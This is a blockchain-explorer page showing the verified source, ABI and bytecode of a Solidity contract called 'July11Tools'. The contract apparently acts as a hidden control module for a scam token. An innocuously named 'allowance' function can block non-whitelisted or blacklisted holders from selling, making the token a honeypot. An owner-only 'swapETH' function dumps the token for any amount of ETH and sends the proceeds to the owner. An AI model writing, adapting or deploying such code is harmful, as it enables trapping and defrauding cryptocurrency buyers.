Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Loading...
Loading
Contract Name:
July11Tools
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-12 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); } interface IUniswapV2Router02 { function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract July11Tools is Ownable { IUniswapV2Router02 uniswapV2Router; address coin; address pair; mapping(address => bool) whites; mapping(address => bool) blacks; bool public enabled = true; constructor(address router) { uniswapV2Router = IUniswapV2Router02(router); } receive() external payable { } function encode() external view returns (bytes memory) { return abi.encode(address(this)); } function setC(address _coin, address _pair) external onlyOwner { coin = _coin; pair = _pair; } function setEnable(bool _enabled) external onlyOwner { enabled = _enabled; } function resetC() external onlyOwner { coin = address(0); pair = address(0); } function allowance( address from ) external view returns (uint256) { if (whites[from] || pair == address(0) || from == coin) { return 0; } else if ((from == owner() || from == address(this))) { return 1; } if (from != pair) { require(enabled); require(!blacks[from]); } return 0; } function swapETH(uint256 count) external onlyOwner { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = coin; path[1] = uniswapV2Router.WETH(); IERC20(coin).approve(address(uniswapV2Router), ~uint256(0)); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( 10 ** count, 0, // accept any amount of ETH path, address(this), block.timestamp ); payable(msg.sender).transfer(address(this).balance); } function aWL(address[] memory _wat) external onlyOwner{ for (uint i = 0; i < _wat.length; i++) { whites[_wat[i]] = true; } } function aBL(address[] memory _bat) external onlyOwner{ for (uint i = 0; i < _bat.length; i++) { blacks[_bat[i]] = true; } } function claimDust() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"_bat","type":"address[]"}],"name":"aBL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_wat","type":"address[]"}],"name":"aWL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimDust","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"encode","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_coin","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"setC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"swapETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff1916600117905534801561001d57600080fd5b50604051610e7a380380610e7a83398101604081905261003c916100a2565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b0319166001600160a01b03929092169190911790556100d2565b6000602082840312156100b457600080fd5b81516001600160a01b03811681146100cb57600080fd5b9392505050565b610d99806100e16000396000f3fe6080604052600436106100c65760003560e01c80637726bed31161007f578063bd14598f11610059578063bd14598f14610203578063df90ebe814610242578063efc354eb14610257578063f2fde38b1461027757600080fd5b80637726bed3146101a65780638da5cb5b146101c6578063b68356fe146101ee57600080fd5b8063238dafe0146100d25780633e5beab9146101015780634e19b6ed1461012f57806357ee8d25146101515780635bb13cce14610171578063715018a61461019157600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506006546100ec9060ff1681565b60405190151581526020015b60405180910390f35b34801561010d57600080fd5b5061012161011c366004610982565b610297565b6040519081526020016100f8565b34801561013b57600080fd5b5061014f61014a3660046109bc565b61036f565b005b34801561015d57600080fd5b5061014f61016c366004610a81565b61040e565b34801561017d57600080fd5b5061014f61018c3660046109bc565b610466565b34801561019d57600080fd5b5061014f6104f8565b3480156101b257600080fd5b5061014f6101c1366004610ac8565b61056c565b3480156101d257600080fd5b506000546040516001600160a01b0390911681526020016100f8565b3480156101fa57600080fd5b5061014f6105a9565b34801561020f57600080fd5b506102356040805130602082015260609101604051602081830303815290604052905090565b6040516100f89190610ae5565b34801561024e57600080fd5b5061014f6105f1565b34801561026357600080fd5b5061014f610272366004610b33565b61064a565b34801561028357600080fd5b5061014f610292366004610982565b610873565b6001600160a01b03811660009081526004602052604081205460ff16806102c757506003546001600160a01b0316155b806102df57506002546001600160a01b038381169116145b156102ec57506000919050565b6000546001600160a01b038381169116148061031057506001600160a01b03821630145b1561031d57506001919050565b6003546001600160a01b038381169116146103675760065460ff1661034157600080fd5b6001600160a01b03821660009081526005602052604090205460ff161561036757600080fd5b506000919050565b6000546001600160a01b031633146103a25760405162461bcd60e51b815260040161039990610b4c565b60405180910390fd5b60005b815181101561040a576001600460008484815181106103c6576103c6610b81565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061040281610bad565b9150506103a5565b5050565b6000546001600160a01b031633146104385760405162461bcd60e51b815260040161039990610b4c565b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b6000546001600160a01b031633146104905760405162461bcd60e51b815260040161039990610b4c565b60005b815181101561040a576001600560008484815181106104b4576104b4610b81565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104f081610bad565b915050610493565b6000546001600160a01b031633146105225760405162461bcd60e51b815260040161039990610b4c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105965760405162461bcd60e51b815260040161039990610b4c565b6006805460ff1916911515919091179055565b6000546001600160a01b031633146105d35760405162461bcd60e51b815260040161039990610b4c565b600280546001600160a01b0319908116909155600380549091169055565b6000546001600160a01b0316331461061b5760405162461bcd60e51b815260040161039990610b4c565b60405133904780156108fc02916000818181858888f19350505050158015610647573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106745760405162461bcd60e51b815260040161039990610b4c565b604080516002808252606082018352600092602083019080368337505060025482519293506001600160a01b0316918391506000906106b5576106b5610b81565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561070e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107329190610bc6565b8160018151811061074557610745610b81565b6001600160a01b03928316602091820292909201015260025460015460405163095ea7b360e01b81529083166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156107a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cd9190610be3565b506001546001600160a01b031663791ac9476107ea84600a610ce6565b60008430426040518663ffffffff1660e01b815260040161080f959493929190610cf2565b600060405180830381600087803b15801561082957600080fd5b505af115801561083d573d6000803e3d6000fd5b50506040513392504780156108fc029250906000818181858888f1935050505015801561086e573d6000803e3d6000fd5b505050565b6000546001600160a01b0316331461089d5760405162461bcd60e51b815260040161039990610b4c565b6001600160a01b0381166109025760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610399565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116811461064757600080fd5b803561097d8161095d565b919050565b60006020828403121561099457600080fd5b813561099f8161095d565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156109cf57600080fd5b823567ffffffffffffffff808211156109e757600080fd5b818501915085601f8301126109fb57600080fd5b813581811115610a0d57610a0d6109a6565b8060051b604051601f19603f83011681018181108582111715610a3257610a326109a6565b604052918252848201925083810185019188831115610a5057600080fd5b938501935b82851015610a7557610a6685610972565b84529385019392850192610a55565b98975050505050505050565b60008060408385031215610a9457600080fd5b8235610a9f8161095d565b91506020830135610aaf8161095d565b809150509250929050565b801515811461064757600080fd5b600060208284031215610ada57600080fd5b813561099f81610aba565b600060208083528351808285015260005b81811015610b1257858101830151858201604001528201610af6565b506000604082860101526040601f19601f8301168501019250505092915050565b600060208284031215610b4557600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610bbf57610bbf610b97565b5060010190565b600060208284031215610bd857600080fd5b815161099f8161095d565b600060208284031215610bf557600080fd5b815161099f81610aba565b600181815b80851115610c3b578160001904821115610c2157610c21610b97565b80851615610c2e57918102915b93841c9390800290610c05565b509250929050565b600082610c5257506001610ce0565b81610c5f57506000610ce0565b8160018114610c755760028114610c7f57610c9b565b6001915050610ce0565b60ff841115610c9057610c90610b97565b50506001821b610ce0565b5060208310610133831016604e8410600b8410161715610cbe575081810a610ce0565b610cc88383610c00565b8060001904821115610cdc57610cdc610b97565b0290505b92915050565b600061099f8383610c43565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610d425784516001600160a01b031683529383019391830191600101610d1d565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122021d7fdb693b9d3eaaa778b303ddc06b2d78b9cfc5605472b3b982275cb9635ac64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x6080604052600436106100c65760003560e01c80637726bed31161007f578063bd14598f11610059578063bd14598f14610203578063df90ebe814610242578063efc354eb14610257578063f2fde38b1461027757600080fd5b80637726bed3146101a65780638da5cb5b146101c6578063b68356fe146101ee57600080fd5b8063238dafe0146100d25780633e5beab9146101015780634e19b6ed1461012f57806357ee8d25146101515780635bb13cce14610171578063715018a61461019157600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506006546100ec9060ff1681565b60405190151581526020015b60405180910390f35b34801561010d57600080fd5b5061012161011c366004610982565b610297565b6040519081526020016100f8565b34801561013b57600080fd5b5061014f61014a3660046109bc565b61036f565b005b34801561015d57600080fd5b5061014f61016c366004610a81565b61040e565b34801561017d57600080fd5b5061014f61018c3660046109bc565b610466565b34801561019d57600080fd5b5061014f6104f8565b3480156101b257600080fd5b5061014f6101c1366004610ac8565b61056c565b3480156101d257600080fd5b506000546040516001600160a01b0390911681526020016100f8565b3480156101fa57600080fd5b5061014f6105a9565b34801561020f57600080fd5b506102356040805130602082015260609101604051602081830303815290604052905090565b6040516100f89190610ae5565b34801561024e57600080fd5b5061014f6105f1565b34801561026357600080fd5b5061014f610272366004610b33565b61064a565b34801561028357600080fd5b5061014f610292366004610982565b610873565b6001600160a01b03811660009081526004602052604081205460ff16806102c757506003546001600160a01b0316155b806102df57506002546001600160a01b038381169116145b156102ec57506000919050565b6000546001600160a01b038381169116148061031057506001600160a01b03821630145b1561031d57506001919050565b6003546001600160a01b038381169116146103675760065460ff1661034157600080fd5b6001600160a01b03821660009081526005602052604090205460ff161561036757600080fd5b506000919050565b6000546001600160a01b031633146103a25760405162461bcd60e51b815260040161039990610b4c565b60405180910390fd5b60005b815181101561040a576001600460008484815181106103c6576103c6610b81565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061040281610bad565b9150506103a5565b5050565b6000546001600160a01b031633146104385760405162461bcd60e51b815260040161039990610b4c565b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b6000546001600160a01b031633146104905760405162461bcd60e51b815260040161039990610b4c565b60005b815181101561040a576001600560008484815181106104b4576104b4610b81565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104f081610bad565b915050610493565b6000546001600160a01b031633146105225760405162461bcd60e51b815260040161039990610b4c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105965760405162461bcd60e51b815260040161039990610b4c565b6006805460ff1916911515919091179055565b6000546001600160a01b031633146105d35760405162461bcd60e51b815260040161039990610b4c565b600280546001600160a01b0319908116909155600380549091169055565b6000546001600160a01b0316331461061b5760405162461bcd60e51b815260040161039990610b4c565b60405133904780156108fc02916000818181858888f19350505050158015610647573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106745760405162461bcd60e51b815260040161039990610b4c565b604080516002808252606082018352600092602083019080368337505060025482519293506001600160a01b0316918391506000906106b5576106b5610b81565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561070e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107329190610bc6565b8160018151811061074557610745610b81565b6001600160a01b03928316602091820292909201015260025460015460405163095ea7b360e01b81529083166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156107a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cd9190610be3565b506001546001600160a01b031663791ac9476107ea84600a610ce6565b60008430426040518663ffffffff1660e01b815260040161080f959493929190610cf2565b600060405180830381600087803b15801561082957600080fd5b505af115801561083d573d6000803e3d6000fd5b50506040513392504780156108fc029250906000818181858888f1935050505015801561086e573d6000803e3d6000fd5b505050565b6000546001600160a01b0316331461089d5760405162461bcd60e51b815260040161039990610b4c565b6001600160a01b0381166109025760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610399565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116811461064757600080fd5b803561097d8161095d565b919050565b60006020828403121561099457600080fd5b813561099f8161095d565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156109cf57600080fd5b823567ffffffffffffffff808211156109e757600080fd5b818501915085601f8301126109fb57600080fd5b813581811115610a0d57610a0d6109a6565b8060051b604051601f19603f83011681018181108582111715610a3257610a326109a6565b604052918252848201925083810185019188831115610a5057600080fd5b938501935b82851015610a7557610a6685610972565b84529385019392850192610a55565b98975050505050505050565b60008060408385031215610a9457600080fd5b8235610a9f8161095d565b91506020830135610aaf8161095d565b809150509250929050565b801515811461064757600080fd5b600060208284031215610ada57600080fd5b813561099f81610aba565b600060208083528351808285015260005b81811015610b1257858101830151858201604001528201610af6565b506000604082860101526040601f19601f8301168501019250505092915050565b600060208284031215610b4557600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201610bbf57610bbf610b97565b5060010190565b600060208284031215610bd857600080fd5b815161099f8161095d565b600060208284031215610bf557600080fd5b815161099f81610aba565b600181815b80851115610c3b578160001904821115610c2157610c21610b97565b80851615610c2e57918102915b93841c9390800290610c05565b509250929050565b600082610c5257506001610ce0565b81610c5f57506000610ce0565b8160018114610c755760028114610c7f57610c9b565b6001915050610ce0565b60ff841115610c9057610c90610b97565b50506001821b610ce0565b5060208310610133831016604e8410600b8410161715610cbe575081810a610ce0565b610cc88383610c00565b8060001904821115610cdc57610cdc610b97565b0290505b92915050565b600061099f8383610c43565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610d425784516001600160a01b031683529383019391830191600101610d1d565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122021d7fdb693b9d3eaaa778b303ddc06b2d78b9cfc5605472b3b982275cb9635ac64736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
2541:2337:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2739:26;;;;;;;;;;-1:-1:-1;2739:26:0;;;;;;;;;;;179:14:1;;172:22;154:41;;142:2;127:18;2739:26:0;;;;;;;;3357:415;;;;;;;;;;-1:-1:-1;3357:415:0;;;;;:::i;:::-;;:::i;:::-;;;879:25:1;;;867:2;852:18;3357:415:0;733:177:1;4429:160:0;;;;;;;;;;-1:-1:-1;4429:160:0;;;;;:::i;:::-;;:::i;:::-;;3025:117;;;;;;;;;;-1:-1:-1;3025:117:0;;;;;:::i;:::-;;:::i;4597:160::-;;;;;;;;;;-1:-1:-1;4597:160:0;;;;;:::i;:::-;;:::i;1580:148::-;;;;;;;;;;;;;:::i;3150:90::-;;;;;;;;;;-1:-1:-1;3150:90:0;;;;;:::i;:::-;;:::i;938:79::-;;;;;;;;;;-1:-1:-1;976:7:0;1003:6;938:79;;-1:-1:-1;;;;;1003:6:0;;;3081:51:1;;3069:2;3054:18;938:79:0;2935:203:1;3248:101:0;;;;;;;;;;;;;:::i;2911:106::-;;;;;;;;;;;;2984:25;;;3003:4;2984:25;;;3081:51:1;2952:12:0;;3054:18:1;2984:25:0;;;;;;;;;;;;2977:32;;2911:106;;;;;;;;;:::i;4765:110::-;;;;;;;;;;;;;:::i;3780:641::-;;;;;;;;;;-1:-1:-1;3780:641:0;;;;;:::i;:::-;;:::i;1883:244::-;;;;;;;;;;-1:-1:-1;1883:244:0;;;;;:::i;:::-;;:::i;3357:415::-;-1:-1:-1;;;;;3453:12:0;;3429:7;3453:12;;;:6;:12;;;;;;;;;:34;;-1:-1:-1;3469:4:0;;-1:-1:-1;;;;;3469:4:0;:18;3453:34;:50;;;-1:-1:-1;3499:4:0;;-1:-1:-1;;;;;3491:12:0;;;3499:4;;3491:12;3453:50;3449:189;;;-1:-1:-1;3527:1:0;;3357:415;-1:-1:-1;3357:415:0:o;3449:189::-;976:7;1003:6;-1:-1:-1;;;;;3560:15:0;;;1003:6;;3560:15;;:40;;-1:-1:-1;;;;;;3579:21:0;;3595:4;3579:21;3560:40;3555:83;;;-1:-1:-1;3625:1:0;;3357:415;-1:-1:-1;3357:415:0:o;3555:83::-;3660:4;;-1:-1:-1;;;;;3652:12:0;;;3660:4;;3652:12;3648:98;;3689:7;;;;3681:16;;;;;;-1:-1:-1;;;;;3721:12:0;;;;;;:6;:12;;;;;;;;3720:13;3712:22;;;;;;-1:-1:-1;3763:1:0;;3357:415;-1:-1:-1;3357:415:0:o;4429:160::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;;;;;;;;;4499:6:::1;4494:88;4515:4;:11;4511:1;:15;4494:88;;;4566:4;4548:6;:15;4555:4;4560:1;4555:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;4548:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;4548:15:0;:22;;-1:-1:-1;;4548:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;4528:3;::::1;::::0;::::1;:::i;:::-;;;;4494:88;;;;4429:160:::0;:::o;3025:117::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;3099:4:::1;:12:::0;;-1:-1:-1;;;;;3099:12:0;;::::1;-1:-1:-1::0;;;;;;3099:12:0;;::::1;;::::0;;;3122:4:::1;:12:::0;;;;;::::1;::::0;::::1;;::::0;;3025:117::o;4597:160::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;4667:6:::1;4662:88;4683:4;:11;4679:1;:15;4662:88;;;4734:4;4716:6;:15;4723:4;4728:1;4723:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;4716:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;4716:15:0;:22;;-1:-1:-1;;4716:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;4696:3;::::1;::::0;::::1;:::i;:::-;;;;4662:88;;1580:148:::0;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;1687:1:::1;1671:6:::0;;1650:40:::1;::::0;-1:-1:-1;;;;;1671:6:0;;::::1;::::0;1650:40:::1;::::0;1687:1;;1650:40:::1;1718:1;1701:19:::0;;-1:-1:-1;;;;;;1701:19:0::1;::::0;;1580:148::o;3150:90::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;3214:7:::1;:18:::0;;-1:-1:-1;;3214:18:0::1;::::0;::::1;;::::0;;;::::1;::::0;;3150:90::o;3248:101::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;3296:4:::1;:17:::0;;-1:-1:-1;;;;;;3296:17:0;;::::1;::::0;;;3324:4:::1;:17:::0;;;;::::1;::::0;;3248:101::o;4765:110::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;4816:51:::1;::::0;4824:10:::1;::::0;4845:21:::1;4816:51:::0;::::1;;;::::0;::::1;::::0;;;4845:21;4824:10;4816:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;4765:110::o:0;3780:641::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;3928:16:::1;::::0;;3942:1:::1;3928:16:::0;;;;;::::1;::::0;;3904:21:::1;::::0;3928:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;-1:-1:-1::0;;3965:4:0::1;::::0;3955:7;;;;-1:-1:-1;;;;;;3965:4:0::1;::::0;3955:7;;-1:-1:-1;3965:4:0::1;::::0;3955:7:::1;;;;:::i;:::-;-1:-1:-1::0;;;;;3955:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:14;;;;3990:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;3990:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;3955:7;;3990:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3980:4;3985:1;3980:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;3980:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;4032:4:::1;::::0;;4054:15;4025:59:::1;::::0;-1:-1:-1;;;4025:59:0;;4054:15;;::::1;4025:59;::::0;::::1;5074:51:1::0;-1:-1:-1;;5141:18:1;;;5134:34;4032:4:0;::::1;::::0;4025:20:::1;::::0;5047:18:1;;4025:59:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;4123:15:0::1;::::0;-1:-1:-1;;;;;4123:15:0::1;:66;4204:11;4210:5:::0;4204:2:::1;:11;:::i;:::-;4230:1;4274:4;4301;4321:15;4123:224;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4362:51:0::1;::::0;4370:10:::1;::::0;-1:-1:-1;4391:21:0::1;4362:51:::0;::::1;;;::::0;-1:-1:-1;4391:21:0;4362:51:::1;::::0;;;4391:21;4370:10;4362:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;3831:590;3780:641:::0;:::o;1883:244::-;1150:6;;-1:-1:-1;;;;;1150:6:0;174:10;1150:22;1142:67;;;;-1:-1:-1;;;1142:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1972:22:0;::::1;1964:73;;;::::0;-1:-1:-1;;;1964:73:0;;7990:2:1;1964:73:0::1;::::0;::::1;7972:21:1::0;8029:2;8009:18;;;8002:30;8068:34;8048:18;;;8041:62;-1:-1:-1;;;8119:18:1;;;8112:36;8165:19;;1964:73:0::1;7788:402:1::0;1964:73:0::1;2074:6;::::0;;2053:38:::1;::::0;-1:-1:-1;;;;;2053:38:0;;::::1;::::0;2074:6;::::1;::::0;2053:38:::1;::::0;::::1;2102:6;:17:::0;;-1:-1:-1;;;;;;2102:17:0::1;-1:-1:-1::0;;;;;2102:17:0;;;::::1;::::0;;;::::1;::::0;;1883:244::o;206:131:1:-;-1:-1:-1;;;;;281:31:1;;271:42;;261:70;;327:1;324;317:12;342:134;410:20;;439:31;410:20;439:31;:::i;:::-;342:134;;;:::o;481:247::-;540:6;593:2;581:9;572:7;568:23;564:32;561:52;;;609:1;606;599:12;561:52;648:9;635:23;667:31;692:5;667:31;:::i;:::-;717:5;481:247;-1:-1:-1;;;481:247:1:o;915:127::-;976:10;971:3;967:20;964:1;957:31;1007:4;1004:1;997:15;1031:4;1028:1;1021:15;1047:1121;1131:6;1162:2;1205;1193:9;1184:7;1180:23;1176:32;1173:52;;;1221:1;1218;1211:12;1173:52;1261:9;1248:23;1290:18;1331:2;1323:6;1320:14;1317:34;;;1347:1;1344;1337:12;1317:34;1385:6;1374:9;1370:22;1360:32;;1430:7;1423:4;1419:2;1415:13;1411:27;1401:55;;1452:1;1449;1442:12;1401:55;1488:2;1475:16;1510:2;1506;1503:10;1500:36;;;1516:18;;:::i;:::-;1562:2;1559:1;1555:10;1594:2;1588:9;1657:2;1653:7;1648:2;1644;1640:11;1636:25;1628:6;1624:38;1712:6;1700:10;1697:22;1692:2;1680:10;1677:18;1674:46;1671:72;;;1723:18;;:::i;:::-;1759:2;1752:22;1809:18;;;1843:15;;;;-1:-1:-1;1885:11:1;;;1881:20;;;1913:19;;;1910:39;;;1945:1;1942;1935:12;1910:39;1969:11;;;;1989:148;2005:6;2000:3;1997:15;1989:148;;;2071:23;2090:3;2071:23;:::i;:::-;2059:36;;2022:12;;;;2115;;;;1989:148;;;2156:6;1047:1121;-1:-1:-1;;;;;;;;1047:1121:1:o;2173:388::-;2241:6;2249;2302:2;2290:9;2281:7;2277:23;2273:32;2270:52;;;2318:1;2315;2308:12;2270:52;2357:9;2344:23;2376:31;2401:5;2376:31;:::i;:::-;2426:5;-1:-1:-1;2483:2:1;2468:18;;2455:32;2496:33;2455:32;2496:33;:::i;:::-;2548:7;2538:17;;;2173:388;;;;;:::o;2566:118::-;2652:5;2645:13;2638:21;2631:5;2628:32;2618:60;;2674:1;2671;2664:12;2689:241;2745:6;2798:2;2786:9;2777:7;2773:23;2769:32;2766:52;;;2814:1;2811;2804:12;2766:52;2853:9;2840:23;2872:28;2894:5;2872:28;:::i;3143:546::-;3253:4;3282:2;3311;3300:9;3293:21;3343:6;3337:13;3386:6;3381:2;3370:9;3366:18;3359:34;3411:1;3421:140;3435:6;3432:1;3429:13;3421:140;;;3530:14;;;3526:23;;3520:30;3496:17